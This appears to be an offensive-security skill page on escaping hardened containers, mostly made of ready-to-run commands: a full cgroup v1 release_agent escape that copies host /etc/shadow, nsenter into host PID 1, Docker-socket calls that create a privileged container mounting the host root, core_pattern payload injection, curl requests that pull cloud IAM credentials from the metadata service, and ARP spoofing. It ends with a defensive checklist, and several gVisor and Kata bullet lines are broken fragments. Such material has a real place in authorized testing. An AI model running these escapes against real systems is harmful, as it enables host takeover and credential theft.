secskills
secskills / offense / escaping-hardened-containers

escaping-hardened-containers

offense verified 2026-07-27

Escape containers that drop capabilities, enforce seccomp profiles, and run behind AppArmor or SELinux — enumerating residual capabilities, analyzing seccomp filters, abusing single-capability escapes, cgroup release agents, filesystem mounts, and runtime CVEs. Use when a container has no --privileged flag but retains exploitable capabilities, when seccomp or LSM blocks standard escape paths, when targeting gVisor or Kata sandboxes, or when reviewing a hardened container deployment for residual attack surface.

$ /plugin install secskills-offense $ /plugin install secskills-core

Most container escapes documented online assume --privileged. The work starts when the container IS hardened -- seccomp is on, capabilities are dropped, and the obvious paths are blocked. The remaining attack surface is smaller but not zero, and single capabilities or filesystem mounts are often enough.

Only against systems you are authorized to test.

When to Use

When NOT to Use

Capability Enumeration

Capabilities are the first thing to check. A single retained capability can be the entire escape.

# Full capability dump
capsh --print

# From procfs when capsh is not installed
grep Cap /proc/self/status
# Decode the hex bitmask
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')

# Quick check for the capabilities that matter most
# CAP_SYS_ADMIN  - mount, unshare, bpf, cgroup writes
# CAP_SYS_PTRACE - attach to host-namespace processes (with hostPID)
# CAP_DAC_READ_SEARCH - open_by_handle_at, read any file
# CAP_NET_RAW    - raw sockets, ARP spoofing, network pivoting
# CAP_SYS_MODULE - load kernel modules (rare but instant root)
# CAP_SYS_RAWIO  - iopl/ioperm, raw disk I/O

CAP_DAC_READ_SEARCH -- the overlooked one. It grants open_by_handle_at(), which bypasses mount namespace isolation entirely. The shocker exploit uses this to read arbitrary files from the host filesystem by brute-forcing inode handles.

# shocker PoC: reads /etc/shadow from the host
# Requires: CAP_DAC_READ_SEARCH
./shocker /etc/shadow

Seccomp Profile Analysis

# Check if seccomp is enforced (2 = filter mode, 1 = strict, 0 = disabled)
grep Seccomp /proc/self/status

# Dump the active filter (requires kernel 4.4+ and CONFIG_SECCOMP_FILTER)
cat /proc/self/seccomp_filter 2>/dev/null

# Use seccomp-tools to decompile the BPF filter
seccomp-tools dump /proc/self/seccomp_filter

Docker's default seccomp profile blocks ~44 syscalls. Key blocked calls include mount, unshare, pivot_root, reboot, kexec_load, and init_module. But it allows ptrace, process_vm_readv, and most socket operations.

Custom profiles are where mistakes live. Common gaps:

# Test whether a specific syscall is available
# If blocked, the process gets SIGKILL or EPERM
python3 -c "import ctypes; ctypes.CDLL(None).syscall(272)"  # unshare = 272

Namespace Escapes

CAP_SYS_ADMIN + unshare

With CAP_SYS_ADMIN and unshare not blocked by seccomp, create a new user namespace and mount namespace to access the host filesystem.

# Create new mount namespace and mount the host block device
unshare -m /bin/sh -c 'mount /dev/sda1 /mnt && ls /mnt'

hostPID + CAP_SYS_PTRACE

When hostPID: true is set in the pod spec, /proc shows host processes. Combined with CAP_SYS_PTRACE, inject into a host process.

# Find a root process on the host
ps auxf | head -20

# Attach and inject
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Or via /proc/1/root -- the host root filesystem
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow

hostPID without CAP_SYS_PTRACE

Even without ptrace, hostPID leaks host process environment variables and command lines, which often contain secrets.

cat /proc/1/environ | tr '\0' '\n'
for p in /proc/[0-9]*/cmdline; do cat "$p" | tr '\0' ' '; echo; done 2>/dev/null | grep -i pass

Cgroup Escapes

Cgroup v1 release_agent

The classic escape for containers with CAP_SYS_ADMIN when cgroup v1 is in use. The release_agent runs on the host when the last process in a cgroup exits.

# Find a writable cgroup mount
mount | grep cgroup

# Full escape sequence
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/cmd" > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $t/output" >> /cmd
chmod +x /cmd
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /output

Cgroup v2 and Device Controller

Cgroup v2 removes release_agent. The remaining surface is eBPF-based device policy (requires bpf()) and writable device controllers:

# If devices cgroup controller is writable
echo 'a *:* rwm' > /sys/fs/cgroup/devices/docker/<id>/devices.allow
mknod /dev/sda b 8 0
mount /dev/sda /mnt

Filesystem-Based Escapes

Mounted Docker Socket

# The most common misconfiguration even in "hardened" containers
ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null

# Without the docker CLI, use curl over the unix socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# Create a privileged container that mounts the host root
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create

Host Filesystem Mounts

Any hostPath mount is a potential escape vector. Common ones:

# Check all mount points
mount | grep -vE 'proc|sys|cgroup|tmpfs'
cat /proc/self/mountinfo

# Writable host paths to look for:
# /var/log         - write cron jobs via log injection
# /var/run         - sockets (docker, containerd)
# /etc             - write to crontab, shadow, authorized_keys
# /var/lib/kubelet - kubelet credentials and config
# /home            - SSH keys, shell configs

/proc/sys/kernel/core_pattern

If /proc/sys is mounted writable (or the host mount includes it):

# core_pattern with pipe: kernel runs the specified program when a process
# crashes, as root on the host
echo '|/path/on/host/payload.sh' > /proc/sys/kernel/core_pattern
# Then crash a process to trigger it

/proc/sysrq-trigger

If writable, triggers kernel functions (mostly DoS). echo b reboots, echo c crashes for memory dump.

Runtime-Specific Vulnerabilities

runc CVEs

CVE-2024-21626 (Leaky Vessels) -- A file descriptor leak in runc allows a container to access the host filesystem via /proc/self/fd/ during container startup. Affects runc < 1.1.12.

# Detection: check runc version
runc --version 2>/dev/null
# On the host: runc is typically at /usr/bin/runc or /usr/sbin/runc

The exploit involves setting a container's working directory to a leaked fd pointing to the host filesystem. Requires the ability to build or influence container images.

CVE-2019-5736 -- Overwrite the host runc binary by exploiting /proc/self/exe when runc joins the container namespace. Requires exec into the container (e.g., docker exec).

containerd / CRI-O

CVE-2022-23648 (containerd) -- Read arbitrary host files via image config VOLUME directives referencing host paths.

CVE-2022-0811 (CRI-O, cr8escape) -- Kernel parameter injection via --infra-ctr-cpuset leading to host code execution. Check runtime version: crictl version 2&gt;/dev/null.

Sandbox Bypass

gVisor (runsc)

gVisor interposes a user-space kernel (the Sentry) between the container and the host kernel. The attack surface is different:

fail, but the ones it does support may have implementation bugs.

work.

access.

TCP/IP stack, and escaping to the Gofer process.

# Detect gVisor
dmesg 2>/dev/null | head -5  # gVisor has distinctive boot messages
uname -r  # gVisor reports its own version string
cat /proc/version  # look for "gVisor" or "runsc"

Kata Containers

Kata runs each container in a lightweight VM. The threat model is fundamentally different:

vulnerability).

agent inside the VM.

weakness.

Container-to-Host Network Attacks

Host Network Namespace

When hostNetwork: true is set, the container shares the host's network stack entirely.

ip addr   # host interfaces, not veth pairs
ss -tlnp  # host listening services -- look for kubelet (10250), etcd (2379)

Metadata Service Access

Cloud metadata endpoints (169.254.169.254) are reachable independent of container hardening. Network policies are the only mitigation.

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/          # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/    # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure

ARP Spoofing from CAP_NET_RAW

With CAP_NET_RAW, ARP spoof to intercept pod-to-pod or pod-to-gateway traffic: arpspoof -i eth0 -t &lt;target_ip&gt; &lt;gateway_ip&gt;.

Defensive Review Checklist

When reviewing a hardened container deployment, verify:

  1. Capabilities -- only the minimum set is granted; CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH are absent
  2. Seccomp -- a custom profile is applied (not just the Docker default); unshare, mount, bpf, userfaultfd are blocked
  3. LSM -- AppArmor or SELinux profile is loaded and enforcing, not just present
  4. Namespaces -- hostPID, hostNetwork, hostIPC are all false
  5. Filesystem -- no hostPath mounts; Docker socket is not mounted; /proc/sys is read-only
  6. Runtime -- runc, containerd, and CRI-O are patched for known CVEs
  7. Network -- NetworkPolicy denies metadata service access (169.254.169.254); inter-pod traffic is segmented
  8. Read-only root -- readOnlyRootFilesystem: true is set; writable paths are tmpfs with noexec

Rationalizations to Reject

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Privilege Escalation (TA0004)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References